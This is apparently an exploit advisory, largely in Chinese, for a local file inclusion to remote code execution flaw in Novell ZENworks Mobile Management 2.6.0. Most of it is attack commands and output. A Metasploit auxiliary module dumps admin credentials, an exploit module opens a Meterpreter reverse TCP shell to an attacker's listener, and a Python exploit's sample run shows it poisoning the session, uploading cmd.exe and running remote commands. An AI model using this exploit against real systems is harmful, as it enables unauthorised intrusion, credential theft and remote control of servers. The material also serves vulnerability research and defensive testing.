
Novell ZENworks Mobile Management - LFI RCE
此脚本利用了Novell Zenworks移动设备管理中存在的一个本地文件包含(LFI)漏洞。
Metasploit模块 -
msf > use auxiliary/scanner/http/novell_mdm_creds msf auxiliary(novell_mdm_creds) > show options
模块选项 (auxiliary/scanner/http/novell_mdm_creds):
Name Current Setting Required Description
Proxies no 使用代理链 RHOSTS yes 目标地址范围或CIDR标识 RPORT 80 yes 默认远程端口 TARGETURI / yes Novell Zenworks MDM安装路径 THREADS 1 yes 并发线程数 VHOST no HTTP服务器虚拟主机
msf auxiliary(novell_mdm_creds) > set rhosts 192.168.20.133 rhosts => 192.168.20.133 msf auxiliary(novell_mdm_creds) > run
[] 正在验证Zenworks登录页面是否存在于192.168.20.133 [] 找到Zenworks MDM,正在检查应用版本 [] 发现版本2.6.0 [+] 获取到凭据。登录名:Admin1 密码:password1 [+] 在此访问管理界面:192.168.20.133:80/dashboard/ [] 已扫描1个主机中的1个(100%完成) [*] 辅助模块执行完成
msf > use exploit/windows/http/novell_mdm_lfi
msf exploit(novell_mdm_lfi) > show options
模块选项 (exploit/windows/http/novell_mdm_lfi):
Name Current Setting Required Description
Proxies no 使用代理链 RHOST 192.168.20.133 yes 目标地址 RPORT 80 yes 默认远程端口 TARGETURI / yes Novell Zenworks MDM安装路径 VHOST no HTTP服务器虚拟主机
有效载荷选项 (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes 退出技术:seh, thread, process, none LHOST 192.168.20.131 yes 监听地址 LPORT 4444 yes 监听端口
msf exploit(novell_mdm_lfi) > exploit
[] 已启动反向处理器在192.168.20.131:4444 [] 找到Zenworks MDM,正在检查应用版本 [] 发现版本2.6.0 [] 正在设置投毒会话 [] 正在上传有效载荷 [] 正在执行有效载荷 [] 正在发送阶段(751104字节)到192.168.20.133 [] Meterpreter会话1已打开(192.168.20.131:4444 -> 192.168.20.133:4725)于2013-06-04 09:39:20 -0700
meterpreter >
Python脚本 -
包含的"cmd.exe"来自win2k3 - 在不同目标上效果可能不同。当前的'shell'非常糟糕,但应该很容易将上传的可执行文件替换为任意所需文件 :)
示例执行:
python sploit.py http://192.168.20.133
[] 会话已投毒,正在获取凭据。
[+] 凭据 用户: Admin1 密码: password1
[!] 登录管理界面:http://192.168.20.133/dashboard/
[] 正在暂存要运行的可执行文件
[*] 进入shell,输入'exit'退出。
#:net user
user_agent|s:34:"
User accounts for \STEPONEQ-1B78B2
Administrator Guest IUSR_STEPONEQ-1B78B2
IWAM_STEPONEQ-1B78B2 SUPPORT_388945a0
The command completed successfully.
";$error|s:12:"Login Failed"; #:ipconfig user_agent|s:34:" Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.20.133 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.2
";$error|s:12:"Login Failed";